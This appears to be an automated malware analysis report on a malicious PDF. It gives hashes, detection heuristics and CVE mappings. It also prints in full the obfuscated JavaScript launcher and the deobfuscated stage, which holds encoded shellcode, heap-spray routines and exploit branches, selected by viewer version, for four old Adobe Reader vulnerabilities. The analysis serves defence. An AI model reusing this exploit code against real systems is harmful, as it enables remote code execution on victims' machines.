Malicious PDF — malware analysis report

Static analysis result for SHA-256 8b295c56786beffb…

MALICIOUS

PDF

26.2 KB Created: 2011-72-51 03:25:00 First seen: 2013-02-22
MD5: 7b1f407ee1713cc15ff7c76d0d129379 SHA-1: f59af08c8cf42692ac648c20a4472f60d1809113 SHA-256: 8b295c56786beffb941bff5a92077bac79e09cf3621eb9b5fa56915af104913f
548 Risk Score

Malware Insights

MITRE ATT&CK
T1059.007 Service Execution: JavaScript

The PDF file contains embedded JavaScript, indicated by the PDF_JAVASCRIPT and PDF_JS heuristics. The presence of a high-severity PDF_EVAL heuristic firing suggests the JavaScript is obfuscated and likely uses eval() to execute arbitrary code. This pattern is commonly used to exploit PDF reader vulnerabilities or download and execute second-stage malware. No specific family could be identified due to the obfuscation.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 11

  • media.newPlayer — CVE-2009-4324 critical CVE exact CVE_2009_4324
    PDF JavaScript calls media.newPlayer — CVE-2009-4324 is a use-after-free in Adobe Reader's multimedia plugin triggered by media.newPlayer(). Actively exploited as a zero-day in December 2009. (identified after JavaScript deobfuscation)
  • Collab.getIcon — CVE-2009-0927 critical CVE exact CVE_2009_0927
    PDF JavaScript calls Collab.getIcon — CVE-2009-0927 is a stack buffer overflow in Adobe Reader triggered by Collab.getIcon() with a crafted argument. Allows arbitrary code execution. (identified after JavaScript deobfuscation)
  • Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659
    PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
  • util.printf — CVE-2008-2992 critical CVE exact CVE_2008_2992
    PDF JavaScript calls util.printf() — CVE-2008-2992 is a stack buffer overflow in Adobe Reader triggered by a long format-specifier argument. Widely exploited in the wild after disclosure. (identified after JavaScript deobfuscation)
  • Pidief-style multi-CVE JavaScript dispatcher critical CVE likely PDF_PIDIEF_MULTI_CVE_DISPATCH
    A single JavaScript body branches on app.viewerVersion and invokes two or more of the canonical Reader sinks (Collab.collectEmailInfo, Collab.getIcon, util.printf with a field-width format string). This is the 2009-2010 Pidief.J multi-exploit landing template: a per-version dispatcher that fires the matching CVE chain for whichever Reader version opens the file.
  • Multi-CVE Adobe Reader JavaScript exploit kit critical PDF_ADOBE_READER_MULTI_CVE_JS_KIT
    One recovered JavaScript stage contains multiple version-gated Adobe Reader exploit branches. This is stronger evidence than independent API keywords: the PDF is selecting old Reader vulnerabilities by viewer version and running heap-sprayed Acrobat JavaScript exploit paths.
  • JavaScript action low 2 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
    Matched line in script
      ixOzimapa=eval(HyEqa.replace('CarepitutoxYli','')+'val');
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF metadata arithmetic JavaScript stager high PDF_INFO_ARITHMETIC_JS_STAGER
    PDF metadata hides JavaScript as arithmetic character-code tokens inside document information fields, then a launcher rebuilds it with String.fromCharCode and eval. The decoder is gated on metadata access from the launcher, a large arithmetic token table, and recovered exploit-like JavaScript.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js pdf-javascript-stream PDF /JS object 1 at offset 0x64B8 790 bytes
SHA-256: f79b5d893d8da6678e5f0adc3fbc7a4a73419d09cc7d3babbc0e0517ca624ea2
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
var QazdapYmu='';
var CarepitutoxYlie=this.producer.substr(0,4);
for(var HyEqa in this) {
	if (HyEqa=='CarepitutoxYlie')
		ixOzimapa=eval(HyEqa.replace('CarepitutoxYli','')+'val');
}
LsEnox = ixOzimapa('new Date(2007,2,51,2,12,5)');
FyvIl = 'thi'+LsEnox.getHours()+'ducer';
XlixytKyfogadi=ixOzimapa(FyvIl.replace(2,'s.pro'));
XlixytKyfogadi = XlixytKyfogadi.replace(/t/g,'2');
KoqolyhecUbyfs = XlixytKyfogadi.substr(4).split('s');
var QoovYrebylimav = '';
g = LsEnox.getHours()*2;
var GilOq = 'fro'+LsEnox.getHours()+'arCode';
GilOq=GilOq.replace(2,'mCh');
QekoZtoluben=String[GilOq];
for (HyEqa = 0; HyEqa < KoqolyhecUbyfs.length; HyEqa++) {
	NoxxsRjalnu = ixOzimapa(KoqolyhecUbyfs[HyEqa]);
	QoovYrebylimav += QekoZtoluben(NoxxsRjalnu);
}
ixOzimapa(QoovYrebylimav);
info_arithmetic_stage_000.js deobfuscated-js PDF /Info Producer s-arithmetic JavaScript at offset 0x23 3728 bytes
SHA-256: 3e78da5fb3d2de9f0c15ca552f0bf9b4ac1c119c14ba49e58ee179130a527f1e
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 11 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
var bjsg='%u9090%u9090%u16EB%u54B9%u0001%u8B00%u2434%uF789%u3E80%u74E9%uAC06%uA734%uE2AA%uC3FA%uE5E8%uFFFF%u4EFF%uA6AB%uA7A7%u26F9%uFB4B%uA7A6%u2EA7%u2A40%uB7E8%uC82A%u96F3%uF07C%uF4F6%uF4F4%uF4F4%uF4F4%uF4F2%uCFF4%uA6A3%uA7A7%uF1F2%uCFF4%uC9C8%uA7A7%uD2CF%uCBD5%uF3CA%u29CF%uA9E9%u4F4B%uA7EF%uA7A7%u4FF7%uA7DB%uA7A7%u7758%u6324%uCFAF%u48E8%uA2E8%u4FF7%uA7CB%uA7A7%u7758%u6722%uB0D2%uF3CD%u54FE%uCF0D%u59D5%uB114%uBA4F%uA7A7%uF7A7%uF64F%uA7A7%u58A7%uF477%u59CD%u2ECF%uA6C8%u4F1A%uA7AF%uA7A7%u4FF7%uA79B%uA7A7%u7758%u96C7%uC367%uF72C%u2C97%uABF5%uF52C%u2CB3%u8FD5%uBF1E%uA7A7%u96A7%u9658%u0B67%uC69B%uA5DB%u878B%u6866%uA6AA%u4560%u2657%uFC58%uED1B%u2CCD%uB7E5%uB52C%u7ED2%uE32E%uBB83%u64C6%u2CC7%u83CB%u2C83%u9BE2%uF32C%uDFA2%u4DA6%uED2C%u2CBF%u87FD%u4CA6%u9344%u2CEE%u2C93%u49A6%u5896%u6796%u0B5B%u6723%uA0D3%u6866%uA6AA%u4C60%u9C53%u83DB%uD28F%u2C46%u83FD%u4CA6%u2CC1%uECAB%uFD2C%uA6BB%u2C4C%u2CA3%u4FA6%uE32E%uBB83%u65C6%uA7AF%u484F%u5859%uCF58%uD3D3%u9DD7%u8888%uC6C3%uC3C0%uD5C6%uC2CE%u89CB%uDDC4%uC489%u88C4%uD2C8%u89D3%uCFD7%u98D7%u9AC6%uF6F6%uE1CC%uC0E5%uE597%uF6E5%uE497%uE6E3%uE4E6%uCCE2%uEDC4%uE6E5%u9A9A%uD781%u909A%u00A7';function ezvr(ra,qy){while(ra.length*2<qy){ra+=ra;}
ra=ra.substring(0,qy/2);return ra;} 
function bx(){var dkg=new Array();var vw=0x0c0c0c0c;var addr=0x400000;var payload=unescape(bjsg);var sc_len=payload.length*2;var qy=addr-(sc_len+0x38);var yarsp=unescape("%u9090%u9090");yarsp=ezvr(yarsp,qy);var count2=(vw-0x400000)/addr;for(var count=0;count<count2;count++){dkg[count]=yarsp+payload;} 
var overflow=unescape("%u0c0c%u0c0c");while(overflow.length<44952){overflow+=overflow;} 
this.collabStore=Collab.collectEmailInfo({subj:"",msg:overflow});} 
function printf(){nop=unescape("%u0A0A%u0A0A%u0A0A%u0A0A");var payload=unescape(bjsg);heapblock=nop+payload;bigblock=unescape("%u0A0A%u0A0A");headersize=20;spray=headersize+heapblock.length;while(bigblock.length<spray){bigblock+=bigblock;} 
fillblock=bigblock.substring(0,spray);block=bigblock.substring(0,bigblock.length-spray);while(block.length+spray<0x40000){block=block+block+fillblock;} 
mem=new Array();for(i=0;i<1400;i++){mem[i]=block+heapblock;} 
var num=12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888;util.printf("%45000f",num);} 
function geticon(){var arry=new Array();if(app.doc.Collab.getIcon){var payload=unescape(bjsg);var hWq500CN=payload.length*2;var qy=0x400000-(hWq500CN+0x38);var yarsp=unescape("%u9090%u9090");yarsp=ezvr(yarsp,qy);var p5AjK65f=(0x0c0c0c0c-0x400000)/0x400000;for(var vqcQD96y=0;vqcQD96y<p5AjK65f;vqcQD96y++){arry[vqcQD96y]=yarsp+payload;} 
var tUMhNbGw=unescape("%09");while(tUMhNbGw.length<0x4000){tUMhNbGw+=tUMhNbGw;} 
tUMhNbGw="N."+tUMhNbGw;app.doc.Collab.getIcon(tUMhNbGw);}} 

aPlugins=app.plugIns;var sv=parseInt(app.viewerVersion.toString().charAt(0));for(var i=0;i<aPlugins.length;i++){if(aPlugins[i].name=='EScript'){var lv=aPlugins[i].version;}} 
if((lv==9)||((sv==8)&&(lv<=8.12))){geticon();}else if(lv==7.1){printf();}else if(((sv==6)||(sv==7))&&(lv<7.11)){bx();}else if((lv>=9.1)||(lv<=9.2)||(lv>=8.13)||(lv<=8.17)){function a(){util.printd('p@111111111111111111111111 : yyyy111',new Date());}
var h=app.plugIns;for(var f=0;f<h.length;f++){if(h[f].name=='EScript'){var i=h[f].version;}} 
if((i>8.12)&&(i<8.2)){c=new Array();var d=unescape('%u9090%u9090');var e=unescape(bjsg);while(d.length<=0x8000){d+=d;}
d=d.substr(0,0x8000-e.length);for(f=0;f<2900;f++){c[f]=d+e;}
a();a();try{this.media.newPlayer(null);}catch(e){}
a();}}

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